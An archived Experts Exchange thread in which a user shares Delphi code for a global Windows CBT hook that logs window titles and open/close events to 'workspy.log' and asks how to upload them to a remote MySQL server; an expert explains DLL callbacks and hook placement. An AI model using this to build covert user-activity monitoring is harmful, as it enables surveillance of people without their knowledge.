Welcome to Experts Exchange

Add your voice to the tech community where 5M+ people, just like you, are talking about what matters.

  • Help others & share knowledge
  • Earn cash & points
  • Learn & ask questions
Solved

SetHook...

Posted on 2003-11-30
14
392 Views
Last Modified: 2010-04-05
I have dll librare which are hooking windows processies and save all data in file

How i can create that this data will send to mysql server in Internet ??? What component I must use ? Please, give some examples of connecting to database and giving to sql some query... It is imposible in dll file???


This is dll librare code:
library dll;

uses
  Windows,SySUtils,Messages,_libmysq,Dialogs;


var

 SysHook : HHook = 0;
 flag : boolean = true;
 Password : word = 0;
 Wnd : Hwnd = 0;
 
 
procedure SaveData(Str:string);
var
 f: TextFile;
 Filedir:string;
 windir: array [0..255] of char;
begin


   Filedir:='c:\workspy.log';

   AssignFile(f, Filedir);
    if not FileExists(Filedir) then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
   Writeln(f, Str);

 Flush(f);
 CloseFile(F);
end;


function SysMsgProc(code : integer; wParam : word; lParam : longint) : longint; export; stdcall;
var
 windtext, windir: array [0..255] of char;
 str:String;
begin
 Result := CallNextHookEx(SysHook, Code, wParam, lParam);
 case code of
  HCBT_ACTIVATE:
   begin

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);
    Str:=windtext;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+Str+ '+++'+'@@@'+IntToStr(Wnd));


   end;

  HCBT_CREATEWND:
   begin
    Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
    if Str='' then exit;
    if TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent<>0 then exit;

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###OPEN==='+windtext+ '+++'+TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+'@@@'+IntToStr(Wnd));

   end;

  HCBT_DESTROYWND:
   begin
    Str:='';
    Wnd := wParam;
    if Wnd<>0 then
     GetWindowText(Wnd, windtext, 255);
    str:=windtext;
    if windtext='' then exit;
    if Str='' then exit;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###CLOSE==='+Str+'+++'+'@@@'+IntToStr(Wnd));

  end;
 end;
end;

function SetHook(Hook : Boolean) : Boolean; export; stdcall;
begin
  Result := false;
  if Hook
  then
    begin
      if SysHook = 0
      then
        SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC}, @SysMsgProc, HInstance, 0);
      Result := (SysHook <> 0);
    end
  else
    begin
      if SysHook <> 0
      then
        begin
          UnhookWindowsHookEx(SysHook);
          SysHook := 0;
          Result := true;
        end;
    end;
end;

exports
  SETHOOK index 1;

begin

end.
0
Comment
Question by:progdelphi
  • 8
  • 3
14 Comments
 
LVL 5

Accepted Solution

by:
snehanshu earned 125 total points
ID: 9849594
progdelphi,
>>It is imposible in dll file???
Well, IMHO, you should immediately end any hook code and not keep it waiting for long (Updating databases may take quite some time).
So, my suggestion would be that you log all your entries in a file as you are doing now (or perhaps better still, save them in a TStringList and save the stringlist to a file on say every 100th entry to reduce overheads).
Then, from the application that uses the DLL, call a procedure periodically to read the log file and transfer its contents to the server.
And, here's a thread that explains connecting to MYSQL.
http://www.experts-exchange.com/Programming/Programming_Languages/Delphi/Q_10153952.html
I haven't used MYSQL, so I can only hope that the threrad is useful to you.

Good luck,
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850456
if i have other delphi application wich load this dll, how i can send wariable Str (procedure SaveData(Str:string);) to application, which load this dll ???
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850611
Two things:
1) To send a string to the DLL, I think you could just add
Exports
  SaveData name 'SAVEDATA';
in the DLL
and
To call this function, add
  Procedure SAVEDATA(Str:string); External 'DLL.DLL';//or whatever is the name of your dll

in your code.

2) But, I don't think you need to call this function from the application. Your code is fine. Just that your application needs to read 'c:\workspy.log' file periodically and post its contents to the database.

HTH,
...Shu
0
Free Tool: IP Lookup

Get more info about an IP address or domain name, such as organization, abuse contacts and geolocation.

One of a set of tools we are providing to everyone as a way of saying thank you for being a part of the community.

 

Expert Comment

by:mumuska
ID: 9850647
i don't want juse files, because somebody cant change them :(

maybe when application starts, it connect on server, and after it change procedure SaveData();, which will juse acctive connection and send data

it is one problem, if cennection starts in main programm how i can create in dll oter procedure which send data using activated connection

for example in main programm :
    mysql_connect(@mysqlrec, PChar('123.123.123.123'), PChar('hook'), PChar('password'));
     if mysqlrec._net.last_errno = 0 then
     begin
          ShowMessage ('Successfully connected to server');
          connected:= 1; // keep track of connection

          retval:= mysql_select_db(@mysqlrec, PChar('reitings_workspy'));
          if retval <> 0 then
             ShowMessage('Error attaching to')
     end
     else
         ShowMessage (Trim(mysqlrec._net.last_error));


how i can create in dll procedure wich run:
             query:='INSERT INTO `soft` ( `ID` , `name` )VALUES ('''', ''buil bul'')';
             mysql_query(@mysqlrec, PChar(query)); //Send Query to server
               presults:= mysql_store_result(@mysqlrec); //Store results locally
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850702
mumuska,
  Like I said eralier, if the link I posted earlier doesn't help, then I don't know much.
  Are you and progdelphi the same person?
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850754
To send a string to the DLL ???
I want send a string from DLL to program


ONE BIG PROBLEM. I wanted to unite dll with programm, I copy all functions from dll to program but when i start hooking the windows (explorer) go wrong. My proogramm runs normaly, byt explorer go down :( WHY ???

In programm:
procedure SaveData(Str:string);
var
 f: TextFile;
 Filedir:string;
begin
   Filedir:='c:\workspy.log';

   AssignFile(f, Filedir);
    if not FileExists(Filedir) then
     begin
      Rewrite(f);
      CloseFile(f);
     end;
    Append(f);
   Writeln(f, Str);

 Flush(f);
 CloseFile(F);
end;


function SysMsgProc(code : integer; wParam : word; lParam : longint) : longint;
var
 windtext, windir: array [0..255] of char;
 str:String;
begin
 Result := CallNextHookEx(SysHook, Code, wParam, lParam);
 case code of
  HCBT_ACTIVATE:
   begin

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);
    Str:=windtext;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###ACTIVATE==='+Str+ '+++'+'@@@'+IntToStr(Wnd));


   end;

  HCBT_CREATEWND:
   begin
    Str:=TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName;
    if Str='' then exit;
    if TCBTCreateWnd(Pointer(lParam)^).lpcs.hwndParent<>0 then exit;

    Wnd := wParam;
    GetWindowText(Wnd, windtext, 255);

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###OPEN==='+windtext+ '+++'+TCBTCreateWnd(Pointer(lParam)^).lpcs.lpszName+'@@@'+IntToStr(Wnd));

   end;

  HCBT_DESTROYWND:
   begin
    Str:='';
    Wnd := wParam;
    if Wnd<>0 then
     GetWindowText(Wnd, windtext, 255);
    str:=windtext;
    if windtext='' then exit;
    if Str='' then exit;

    SaveData(FormatDateTime('dd/mm/yyyy hh:nn:ss', Date+Time)+ '###CLOSE==='+Str+'+++'+'@@@'+IntToStr(Wnd));

  end;
 end;
end;

function SetHook(Hook : Boolean) : Boolean;
begin
  Result := false;
  if Hook
  then
    begin
      if SysHook = 0
      then
        SysHook := SetWindowsHookEx(WH_CBT{WH_CALLWNDPROC}, @SysMsgProc, HInstance, 0);
      Result := (SysHook <> 0);
    end
  else
    begin
      if SysHook <> 0
      then
        begin
          UnhookWindowsHookEx(SysHook);
          SysHook := 0;
          Result := true;
        end;
    end;
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
SetHook(true);
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
SetHook(false);
end;

P.S.mumuska and I are the same person
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9850761
OK, well, here's a try after re-reading.
  whatever type mysql_query is, declare it in the DLL.
  Then have a function which returns mysql_query from the DLL.
  Like in DLL,
  Function GetSQL:TMySQLType;
  begin
    result := mysql_query;
  end;
...
 exports GetSQL;

And in the application, call GetSQL like:
  mysql_query := GetSQL;
  before initializing.
  This way, the DLL would have an active connection you can use in SaveData.
  Does it help?
...Shu
0
 

Author Comment

by:progdelphi
ID: 9850786
thx... i will test it...

and last question, it is imposible to call function in application from dll ??? how ? please, one simple exapmple to understand how it works...

and why it srach if i unite dll with application (it crach on starting hook)
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9851014
progdelphi,
  I am not in the best of moods right now (and perhaps I don't ecactly "know" the answers to what you have just asked, so I'll have to research). Please excuse me till tomorrow. Sorry,
...Shu
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9855961
progdelphi,
  I haven't bothered to create a DLL and test this, but hopefully, this approach should work for calling an application's function/procedure from a DLL.
1)  Essentially, you create a variable of type procedure... in the DLL.
2)  Then, you export a function from the DLL which accepts a function pointer as parameter, and sets the variable's address created in step 1 to the parameter passed.
3) Then, whenever you need, you can call the App's function using the variable mentioned in step 1.

Below is the code for doing all this from the same APP. I have commented what part could go to the DLL.
I haven't tried it before, but I think it should work. So, let me know what you could achieve.
Good luck,
...Shu



unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TMyAppProc = procedure(myStr:String);
  TMyAppProcPtr = ^TMyAppProc;//Function pointer
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

//This can be an exported function of the DLL:
    Procedure SetProcVal(AppProc: TMyAppProcPtr);

  private
    { Private declarations }
  public
    { Public declarations }
  end;



var
  Form1: TForm1;
  MyProcVar: procedure(myStr:String);//This can be a variable in the DLL


implementation

{$R *.dfm}

{ TForm1 }

procedure MyAppProcDef(myStr: String);
begin
//this is the procedure in the Application
  ShowMessage(MyStr);
end;

procedure TForm1.Button1Click(Sender: TObject);
begin
//Set the DLL's function pointer to point to the APP's procedure
  SetProcVal(@MyAppProcDef);
//  @MyProcVar :=  @MyAppProcDef;
end;

procedure TForm1.Button2Click(Sender: TObject);
begin
//This code can be used in the DLL to call the App's function
    If @MyProcVar <> nil then//Check if it is assigned
      MyProcVar('Hello');
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
//Initialize the variable in DLL
  @MyProcVar := nil;
end;

procedure TForm1.SetProcVal(AppProc: TMyAppProcPtr);
begin
//This can be an exported function of the DLL
//It accepts the App's function pointer and saves it for the DLL's variable
  @MyProcVar := AppProc;
end;

end.
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9856215
>>and why it srach if i unite dll with application (it crach on starting hook)
Well, I am also a hooks beginer, but what I think is that the hook procedure should be accessible to other processes and hence it needs to be in a DLL.
...Shu
0
 
LVL 5

Expert Comment

by:snehanshu
ID: 9856245
OK, here's an extract from help files:
A hook procedure can be global, monitoring messages for all threads in the system, or it can be thread specific, monitoring messages for only an individual thread. A global hook procedure can be called in the context of any application, so the procedure must be in a separate dynamic-link library (DLL) module. A thread specific hook procedure is called only in the context of the associated thread. If an application installs a hook procedure for one of its own threads, the hook procedure can be in either the same module as the rest of the application's code or in a DLL. If the application installs a hook procedure for a thread of a different application, the procedure must be in a DLL. For information, see Dynamic-Link Libraries.
0

Featured Post

Free Tool: Path Explorer

An intuitive utility to help find the CSS path to UI elements on a webpage. These paths are used frequently in a variety of front-end development and QA automation tasks.

One of a set of tools we're offering as a way of saying thank you for being a part of the community.

Question has a verified solution.

If you are experiencing a similar issue, please ask a related question

Suggested Solutions

Title # Comments Views Activity
oracle global variables 4 76
RESTRequest Parameter 4 43
Firemonkey allowing RTL on android 6 47
Delphi android app hide keyboard 3 16
Objective: - This article will help user in how to convert their numeric value become words. How to use 1. You can copy this code in your Unit as function 2. than you can perform your function by type this code The Code   (CODE) The Im…
Hello everybody This Article will show you how to validate number with TEdit control, What's the TEdit control? TEdit is a standard Windows edit control on a form, it allows to user to write, read and copy/paste single line of text. Usua…
Microsoft Active Directory, the widely used IT infrastructure, is known for its high risk of credential theft. The best way to test your Active Directory’s vulnerabilities to pass-the-ticket, pass-the-hash, privilege escalation, and malware attacks …
Nobody understands Phishing better than an anti-spam company. That’s why we are providing Phishing Awareness Training to our customers. According to a report by Verizon, only 3% of targeted users report malicious emails to management. With compan…

828 members asked questions and received personalized solutions in the past 7 days.

Join the community of 500,000 technology professionals and ask your questions.

Join & Ask a Question